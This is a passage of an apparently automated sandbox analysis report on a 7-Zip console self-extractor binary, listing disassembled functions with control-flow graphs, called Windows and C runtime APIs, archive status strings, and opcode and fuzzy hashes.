                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID: Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
                                                                                                                                                                                                                                                                                    • API String ID: 0-2438533581
                                                                                                                                                                                                                                                                                    • Opcode ID: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
                                                                                                                                                                                                                                                                                    • Instruction ID: 3f19878c02f8674ad87acd30042172ab5cd0ae25dc481ef498ee45928aff57d4
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5803B332208AC0C2CE35EB25E4986AEB761F7C5BC4F555112EBAE43B25DF78C986D704
                                                                                                                                                                                                                                                                                    Function 00CC950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1016 cc950d-cc9510 1017 cc9516-cc9529 call c8ed74 1016->1017 1018 cc9a40-cc9a8e call c82130 1016->1018 1024 cc952f-cc9537 1017->1024 1025 cc9820-cc9828 1017->1025 1028 cc9a90-cc9aa0 call c83314 1018->1028 1029 cc9aa2 1018->1029 1030 cc9539-cc9541 1024->1030 1031 cc9557-cc95d5 call cc3230 call c83208 1024->1031 1026 cc982e-cc983f call cc78a8 1025->1026 1027 cc99e4-cc99ee 1025->1027 1047 cc984c-cc994d call cc6990 call c82bc8 call ca7880 call c82bc8 call c82cdc call cc6c04 1026->1047 1048 cc9841-cc9845 1026->1048 1032 cc9a20-cc9a3f _CxxThrowException 1027->1032 1033 cc99f0-cc9a1b call c82300 fputs * 2 call c82300 1027->1033 1037 cc9aa5-cc9ac8 call c8b8f0 call c82130 1028->1037 1029->1037 1030->1031 1036 cc9543-cc9552 call c83518 1030->1036 1055 cc95e5 1031->1055 1056 cc95d7-cc95df 1031->1056 1032->1018 1033->1032 1036->1031 1058 cc9adc 1037->1058 1059 cc9aca-cc9ada call c83314 1037->1059 1100 cc994f 1047->1100 1101 cc9980-cc99df free * 5 call cc6a20 1047->1101 1048->1047 1061 cc95e8-cc9631 call c83404 call cc780c 1055->1061 1056->1055 1060 cc95e1-cc95e3 1056->1060 1064 cc9adf-cc9c8b call c8b8f0 call c82130 1058->1064 1059->1064 1060->1061 1079 cc963e-cc964d 1061->1079 1080 cc9633-cc9637 1061->1080 1091 cc9c8d-cc9c98 call cc7414 1064->1091 1092 cc9c9a 1064->1092 1083 cc964f-cc9657 1079->1083 1084 cc9663 1079->1084 1080->1079 1083->1084 1087 cc9659-cc9661 1083->1087 1088 cc966b-cc972c call c83404 call cc6990 call c82bc8 1084->1088 1087->1088 1119 cc972f call cb99b8 1088->1119 1094 cc9c9d-cc9ca8 1091->1094 1092->1094 1098 cc9caa-cc9cb3 1094->1098 1099 cc9cb4-cc9d77 call c83404 1094->1099 1098->1099 1114 cc9d79-cc9d7d 1099->1114 1115 cc9d83-cc9e8a call cc71ec call c83404 call c8ef70 call c83208 call ca6be0 1099->1115 1105 cc9953-cc9969 1100->1105 1116 cca5ad-cca5b5 1101->1116 1110 cc997b-cc997e 1105->1110 1111 cc996b-cc9976 free * 2 1105->1111 1110->1101 1110->1105 1111->1110 1114->1115 1160 cc9e8c-cc9eb4 call ca6e08 1115->1160 1161 cc9ed2-cc9f44 call ca5458 1115->1161 1117 cca5c5-cca5c8 1116->1117 1118 cca5b7-cca5be 1116->1118 1122 cca5ca-cca5e6 _CxxThrowException 1117->1122 1123 cca5e7-cca603 free 1117->1123 1118->1117 1121 cca5c0 1118->1121 1124 cc9734-cc973f 1119->1124 1126 cca5c0 call cc66a8 1121->1126 1122->1123 1127 cca605 1123->1127 1128 cca626-cca637 free call caa13c 1123->1128 1129 cc9750-cc9798 call cc6c04 1124->1129 1130 cc9741-cc974b call ccb1c8 1124->1130 1126->1117 1132 cca609-cca624 free 1127->1132 1137 cca63c-cca675 call cc7080 call c8182c call cc7f50 1128->1137 1141 cc979a 1129->1141 1142 cc97cb-cc981b free * 3 call cc6a20 free call ccb310 1129->1142 1130->1129 1132->1128 1132->1132 1162 cca6a8-cca6c9 free 1137->1162 1163 cca677 1137->1163 1147 cc979e-cc97b4 1141->1147 1142->1116 1151 cc97c6-cc97c9 1147->1151 1152 cc97b6-cc97c1 free * 2 1147->1152 1151->1142 1151->1147 1152->1151 1160->1161 1172 cc9eb6-cc9ed1 _CxxThrowException 1160->1172 1169 cc9f49-cc9f53 1161->1169 1166 cca67b-cca691 1163->1166 1170 cca6a3-cca6a6 1166->1170 1171 cca693-cca69e free * 2 1166->1171 1173 cc9f55-cc9f5b call ccb1c8 1169->1173 1174 cc9f60-cc9f68 1169->1174 1170->1162 1170->1166 1171->1170 1172->1161 1173->1174 1176 cc9fbd-cc9fca 1174->1176 1177 cc9f6a-cc9f74 1174->1177 1178 cca02c-cca033 1176->1178 1179 cc9fcc-cc9fcf call c82300 1176->1179 1180 cc9f76-cc9fac call c82300 fputs call c82300 call c82320 call c82300 1177->1180 1181 cc9fb1-cc9fb9 1177->1181 1183 cca035-cca03a 1178->1183 1184 cca063-cca06a 1178->1184 1190 cc9fd4-cc9fdc 1179->1190 1180->1181 1181->1176 1183->1184 1187 cca03c-cca05e fputs call c826a0 call c82300 1183->1187 1188 cca06c-cca071 1184->1188 1189 cca09e-cca0a1 1184->1189 1187->1184 1191 cca114-cca11b 1188->1191 1195 cca077-cca099 fputs call c826a0 call c82300 1188->1195 1189->1191 1192 cca0a3-cca0aa 1189->1192 1190->1178 1196 cc9fde-cca027 fputs call c826a0 call c82300 fputs call c826a0 call c82300 1190->1196 1203 cca15c-cca15f 1191->1203 1204 cca11d-cca122 1191->1204 1197 cca0ac-cca0ce fputs call c826a0 call c82300 1192->1197 1198 cca0d3-cca0da 1192->1198 1195->1189 1196->1178 1197->1198 1198->1191 1209 cca0dc-cca0eb call c82300 1198->1209 1206 cca161 1203->1206 1210 cca16c-cca16f 1203->1210 1205 cca124-cca133 call c82300 1204->1205 1204->1206 1205->1206 1232 cca135-cca157 fputs call c826a0 call c82300 1205->1232 1206->1210 1209->1191 1233 cca0ed-cca10f fputs call c826a0 call c82300 1209->1233 1218 cca175-cca17c 1210->1218 1219 cca320-cca50a free * 2 call ca6b58 free call cc7968 1210->1219 1228 cca2e7-cca2f6 call c82300 1218->1228 1229 cca182-cca189 1218->1229 1268 cca50c 1219->1268 1269 cca53d-cca559 free 1219->1269 1228->1219 1243 cca2f8-cca31f fputs call c826a0 call c82300 1228->1243 1229->1228 1235 cca18f-cca192 1229->1235 1232->1203 1233->1191 1235->1219 1241 cca198-cca1a3 1235->1241 1247 cca1d5-cca1de 1241->1247 1248 cca1a5-cca1cd fputs call c826a0 call c82300 1241->1248 1243->1219 1249 cca1e0-cca1e3 1247->1249 1250 cca1f3-cca223 fputs call c826a0 call c82300 1247->1250 1248->1247 1249->1250 1256 cca1e5-cca1ed 1249->1256 1262 cca275-cca2c3 fputs call c826a0 call c82300 fputs call c826a0 call c82300 1250->1262 1279 cca225-cca270 fputs call c826a0 call c82300 fputs call c826a0 call c82300 1250->1279 1256->1250 1256->1262 1292 cca2c8-cca2cb 1262->1292 1272 cca510-cca526 1268->1272 1274 cca58c-cca599 free 1269->1274 1275 cca55b 1269->1275 1277 cca538-cca53b 1272->1277 1278 cca528-cca533 free * 2 1272->1278 1274->1116 1280 cca55f-cca575 1275->1280 1277->1269 1277->1272 1278->1277 1279->1262 1281 cca587-cca58a 1280->1281 1282 cca577-cca582 free * 2 1280->1282 1281->1274 1281->1280 1282->1281 1292->1219 1294 cca2cd-cca2e5 call c82300 call cc291c 1292->1294 1294->1219
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ExceptionThrowfputs$fputc
                                                                                                                                                                                                                                                                                    • String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
                                                                                                                                                                                                                                                                                    • API String ID: 1639683984-435538426
                                                                                                                                                                                                                                                                                    • Opcode ID: 7950e3a32e57e73d2bfd92e9c5a502a4147ea379d5541c9ff121fc8beeca7486
                                                                                                                                                                                                                                                                                    • Instruction ID: 82313661c38feda5ded2a2350d53a70ac85a839e537c25fbfa15e8984c15d701
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7950e3a32e57e73d2bfd92e9c5a502a4147ea379d5541c9ff121fc8beeca7486
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 67728C32309AC095DA30EF25E498BDEB3A0F785B84F44512ADA9E43B29DF3CC655DB05
                                                                                                                                                                                                                                                                                    Function 00CC9B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1833 cc9b5d-cc9b5f 1834 cc9b79-cc9c1f call cc057c call c83208 call ca38e8 free 1833->1834 1835 cc9b61-cc9b74 fputs call c82300 1833->1835 1843 cc9c30-cc9c33 1834->1843 1844 cc9c21-cc9c2b call ccb1c8 1834->1844 1835->1834 1846 cc9c54-cc9c8b call ccb310 call c82130 1843->1846 1847 cc9c35-cc9c3c 1843->1847 1844->1843 1857 cc9c8d-cc9c98 call cc7414 1846->1857 1858 cc9c9a 1846->1858 1847->1846 1848 cc9c3e-cc9c4e call cc0994 1847->1848 1852 cc9c53 1848->1852 1852->1846 1859 cc9c9d-cc9ca8 1857->1859 1858->1859 1861 cc9caa-cc9cb3 1859->1861 1862 cc9cb4-cc9d77 call c83404 1859->1862 1861->1862 1867 cc9d79-cc9d7d 1862->1867 1868 cc9d83-cc9e8a call cc71ec call c83404 call c8ef70 call c83208 call ca6be0 1862->1868 1867->1868 1879 cc9e8c-cc9eb4 call ca6e08 1868->1879 1880 cc9ed2-cc9f53 call ca5458 1868->1880 1879->1880 1885 cc9eb6-cc9ed1 _CxxThrowException 1879->1885 1886 cc9f55-cc9f5b call ccb1c8 1880->1886 1887 cc9f60-cc9f68 1880->1887 1885->1880 1886->1887 1889 cc9fbd-cc9fca 1887->1889 1890 cc9f6a-cc9f74 1887->1890 1891 cca02c-cca033 1889->1891 1892 cc9fcc-cc9fcf call c82300 1889->1892 1893 cc9f76-cc9fac call c82300 fputs call c82300 call c82320 call c82300 1890->1893 1894 cc9fb1-cc9fb9 1890->1894 1896 cca035-cca03a 1891->1896 1897 cca063-cca06a 1891->1897 1903 cc9fd4-cc9fdc 1892->1903 1893->1894 1894->1889 1896->1897 1900 cca03c-cca05e fputs call c826a0 call c82300 1896->1900 1901 cca06c-cca071 1897->1901 1902 cca09e-cca0a1 1897->1902 1900->1897 1904 cca114-cca11b 1901->1904 1908 cca077-cca099 fputs call c826a0 call c82300 1901->1908 1902->1904 1905 cca0a3-cca0aa 1902->1905 1903->1891 1909 cc9fde-cca027 fputs call c826a0 call c82300 fputs call c826a0 call c82300 1903->1909 1916 cca15c-cca15f 1904->1916 1917 cca11d-cca122 1904->1917 1910 cca0ac-cca0ce fputs call c826a0 call c82300 1905->1910 1911 cca0d3-cca0da 1905->1911 1908->1902 1909->1891 1910->1911 1911->1904 1922 cca0dc-cca0eb call c82300 1911->1922 1919 cca161 1916->1919 1923 cca16c-cca16f 1916->1923 1918 cca124-cca133 call c82300 1917->1918 1917->1919 1918->1919 1945 cca135-cca157 fputs call c826a0 call c82300 1918->1945 1919->1923 1922->1904 1946 cca0ed-cca10f fputs call c826a0 call c82300 1922->1946 1931 cca175-cca17c 1923->1931 1932 cca320-cca50a free * 2 call ca6b58 free call cc7968 1923->1932 1941 cca2e7-cca2f6 call c82300 1931->1941 1942 cca182-cca189 1931->1942 1981 cca50c 1932->1981 1982 cca53d-cca559 free 1932->1982 1941->1932 1956 cca2f8-cca31f fputs call c826a0 call c82300 1941->1956 1942->1941 1948 cca18f-cca192 1942->1948 1945->1916 1946->1904 1948->1932 1954 cca198-cca1a3 1948->1954 1960 cca1d5-cca1de 1954->1960 1961 cca1a5-cca1cd fputs call c826a0 call c82300 1954->1961 1956->1932 1962 cca1e0-cca1e3 1960->1962 1963 cca1f3-cca223 fputs call c826a0 call c82300 1960->1963 1961->1960 1962->1963 1969 cca1e5-cca1ed 1962->1969 1975 cca275-cca2c3 fputs call c826a0 call c82300 fputs call c826a0 call c82300 1963->1975 1993 cca225-cca270 fputs call c826a0 call c82300 fputs call c826a0 call c82300 1963->1993 1969->1963 1969->1975 2016 cca2c8-cca2cb 1975->2016 1985 cca510-cca526 1981->1985 1987 cca58c-cca5b5 free 1982->1987 1988 cca55b 1982->1988 1991 cca538-cca53b 1985->1991 1992 cca528-cca533 free * 2 1985->1992 1997 cca5c5-cca5c8 1987->1997 1998 cca5b7-cca5be 1987->1998 1994 cca55f-cca575 1988->1994 1991->1982 1991->1985 1992->1991 1993->1975 1995 cca587-cca58a 1994->1995 1996 cca577-cca582 free * 2 1994->1996 1995->1987 1995->1994 1996->1995 2002 cca5ca-cca5e6 _CxxThrowException 1997->2002 2003 cca5e7-cca603 free 1997->2003 1998->1997 2001 cca5c0 call cc66a8 1998->2001 2001->1997 2002->2003 2007 cca605 2003->2007 2008 cca626-cca637 free call caa13c 2003->2008 2011 cca609-cca624 free 2007->2011 2017 cca63c-cca675 call cc7080 call c8182c call cc7f50 2008->2017 2011->2008 2011->2011 2016->1932 2019 cca2cd-cca2e5 call c82300 call cc291c 2016->2019 2031 cca6a8-cca6c9 free 2017->2031 2032 cca677 2017->2032 2019->1932 2033 cca67b-cca691 2032->2033 2035 cca6a3-cca6a6 2033->2035 2036 cca693-cca69e free * 2 2033->2036 2035->2031 2035->2033 2036->2035
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputcfputsfree
                                                                                                                                                                                                                                                                                    • String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
                                                                                                                                                                                                                                                                                    • API String ID: 2822829076-727241755
                                                                                                                                                                                                                                                                                    • Opcode ID: f1fc2bb77beb799795f3a1ecff0606d93ece482d6ec72dcd429a4e045bdcdf84
                                                                                                                                                                                                                                                                                    • Instruction ID: 95873d38e7a4eed103d69f10cf040c9b9e9b125fa3c87375a5cb3cd415105872
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f1fc2bb77beb799795f3a1ecff0606d93ece482d6ec72dcd429a4e045bdcdf84
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 22226D32309AC191DA34EF21E4987DEB3A0F785B88F44512ADBAE43B29DF38C655D705
                                                                                                                                                                                                                                                                                    Function 00CAA180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 2649 caa180-caa1e9 GetProcAddress * 2 2650 caa1eb-caa1fe GetProcAddress 2649->2650 2651 caa214-caa22a GetProcAddress 2649->2651 2652 caa233-caa23e 2650->2652 2653 caa200-caa20d 2650->2653 2651->2652 2654 caa22c-caa22e 2651->2654 2656 caa729 2652->2656 2657 caa244-caa2f0 call c83208 call ca8928 2652->2657 2653->2652 2661 caa20f 2653->2661 2655 caa72b-caa73e 2654->2655 2656->2655 2664 caa648 2657->2664 2665 caa2f6-caa30a 2657->2665 2661->2655 2666 caa718-caa727 call ca94a8 2664->2666 2667 caa31c-caa321 2665->2667 2668 caa30c-caa31a 2665->2668 2666->2655 2671 caa328-caa32b 2667->2671 2668->2671 2673 caa34a-caa350 2671->2673 2674 caa32d-caa345 call c8ae2c call ca94a8 2671->2674 2675 caa36f-caa37d SysStringByteLen 2673->2675 2676 caa352-caa36a call c8ae2c call ca94a8 2673->2676 2692 caa634-caa63d 2674->2692 2679 caa64d-caa65d call c8ae2c 2675->2679 2680 caa383-caa3e3 call c8ae2c * 2 call c83208 * 2 call ca8928 2675->2680 2676->2692 2679->2666 2701 caa3e9-caa40c call ca8928 2680->2701 2702 caa662-caa678 free * 2 2680->2702 2692->2657 2693 caa643 2692->2693 2693->2656 2705 caa67d-caa693 free * 2 2701->2705 2706 caa412-caa485 call ca9d98 call ca87a8 call ca8860 2701->2706 2702->2666 2705->2666 2713 caa48b-caa49c 2706->2713 2714 caa698-caa6ae free * 2 2706->2714 2715 caa4ee-caa51b call ca9380 2713->2715 2716 caa49e-caa4a5 2713->2716 2714->2666 2721 caa6b0-caa6d1 free * 3 2715->2721 2722 caa521-caa526 2715->2722 2718 caa4ab-caa4d9 call ca87a8 2716->2718 2724 caa4db-caa4de 2718->2724 2725 caa4e5-caa4ec 2718->2725 2721->2666 2726 caa528-caa53f call ca98d4 2722->2726 2727 caa541-caa564 call ca9380 2722->2727 2724->2725 2725->2715 2725->2718 2732 caa583-caa5b7 call ca8860 2726->2732 2733 caa56a-caa57e call caa034 2727->2733 2734 caa6d3-caa6f4 free * 3 2727->2734 2738 caa5bd-caa5c0 2732->2738 2739 caa6f6-caa715 free * 3 2732->2739 2733->2732 2734->2666 2740 caa5cf-caa5e4 call c82130 2738->2740 2741 caa5c2-caa5ca 2738->2741 2739->2666 2744 caa5f8 2740->2744 2745 caa5e6-caa5f1 call ca9af0 2740->2745 2741->2740 2747 caa5fb-caa62f call c8b8f0 free * 3 call ca94a8 2744->2747 2748 caa5f6 2745->2748 2747->2692 2748->2747
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AddressProc
                                                                                                                                                                                                                                                                                    • String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
                                                                                                                                                                                                                                                                                    • API String ID: 190572456-3984264347
                                                                                                                                                                                                                                                                                    • Opcode ID: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
                                                                                                                                                                                                                                                                                    • Instruction ID: 633f3c79e3a1211925904e2a787871a61c8f6e415ea783a5415d5f213b75ad7c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 05D1A832319AC186DA20EB21F4447AEB3A4F7C6788F501525EA8E87B29DF7CC945DB05
                                                                                                                                                                                                                                                                                    Function 00C870C8 Relevance: 40.7, APIs: 27, Instructions: 237COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 2752 c870c8-c870e4 call c87d4c 2754 c870e9-c870ec 2752->2754 2755 c870f9-c87103 call c89d84 2754->2755 2756 c870ee-c870f0 2754->2756 2761 c8710c-c87136 call c89ed8 call c83274 call c8376c 2755->2761 2762 c87105-c87107 2755->2762 2756->2755 2757 c870f2-c870f4 2756->2757 2760 c87449-c87458 2757->2760 2769 c87138-c87141 2761->2769 2770 c8715b-c87175 call c83314 2761->2770 2762->2760 2769->2770 2771 c87143-c87145 2769->2771 2776 c8717a-c87186 call c8a170 2770->2776 2773 c8714c-c87155 2771->2773 2774 c87147 2771->2774 2773->2770 2777 c873f1-c873fe free 2774->2777 2780 c87188-c87195 CreateDirectoryW 2776->2780 2781 c871aa-c871ac 2776->2781 2777->2760 2782 c8719b-c871a4 GetLastError 2780->2782 2783 c87360-c87364 2780->2783 2784 c8727d-c87286 GetLastError 2781->2784 2785 c871b2-c871d2 call c83208 call c8a7ec 2781->2785 2782->2781 2782->2784 2786 c873c9-c873e1 free * 2 2783->2786 2787 c87366-c87379 call c89ab0 2783->2787 2789 c87288-c872b5 call c87d28 call c83208 call c87ebc 2784->2789 2790 c872e4-c872ed GetLastError 2784->2790 2808 c871d8-c871e7 CreateDirectoryW 2785->2808 2809 c87273-c87278 free 2785->2809 2786->2760 2800 c8737b-c8737f 2787->2800 2801 c87381 2787->2801 2822 c872c6-c872db free 2789->2822 2823 c872b7-c872c4 free 2789->2823 2792 c873e3-c873ee free 2790->2792 2793 c872f3-c87301 call c8376c 2790->2793 2792->2777 2806 c87432-c87447 free * 2 2793->2806 2807 c87307-c87309 2793->2807 2805 c87385-c873a3 call c83460 call c86c84 2800->2805 2801->2805 2835 c873ad-c873c4 free * 2 2805->2835 2836 c873a5-c873a9 2805->2836 2806->2760 2807->2806 2812 c8730f-c87316 2807->2812 2813 c871ed-c871f6 GetLastError 2808->2813 2814 c87356-c8735b free 2808->2814 2809->2784 2817 c87318-c8731c 2812->2817 2818 c8732c-c87332 2812->2818 2819 c871f8-c87202 free 2813->2819 2820 c87207-c87230 call c87d28 call c83208 call c87ebc 2813->2820 2814->2783 2825 c87400-c87417 free * 2 2817->2825 2826 c87322-c87326 2817->2826 2827 c87338-c8733c 2818->2827 2828 c87419-c87430 free * 2 2818->2828 2819->2790 2841 c8724f-c87271 free * 2 2820->2841 2842 c87232-c8724a free * 2 2820->2842 2831 c872e0-c872e2 2822->2831 2823->2790 2825->2760 2826->2818 2826->2825 2827->2776 2833 c87342-c87351 2827->2833 2828->2760 2831->2783 2831->2790 2833->2776 2835->2760 2836->2787 2838 c873ab 2836->2838 2838->2786 2841->2831 2842->2790
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C87D4C: GetFileAttributesW.KERNELBASE ref: 00C87D6E
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C87D4C: GetFileAttributesW.KERNEL32 ref: 00C87DA5
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C87D4C: free.MSVCRT ref: 00C87DB2
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C873F6
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesFilefree
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1936811914-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
                                                                                                                                                                                                                                                                                    • Instruction ID: d6ab855e25522fa61d09dd72bf098f5f21ca4dafe59dc0bf2efea9f8ebd56301
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B481882221C541C2DA20FF22E55566E6321FBD578CF642222FF9E83665EF38CD45EB09
                                                                                                                                                                                                                                                                                    Function 00C87EBC Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 418COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
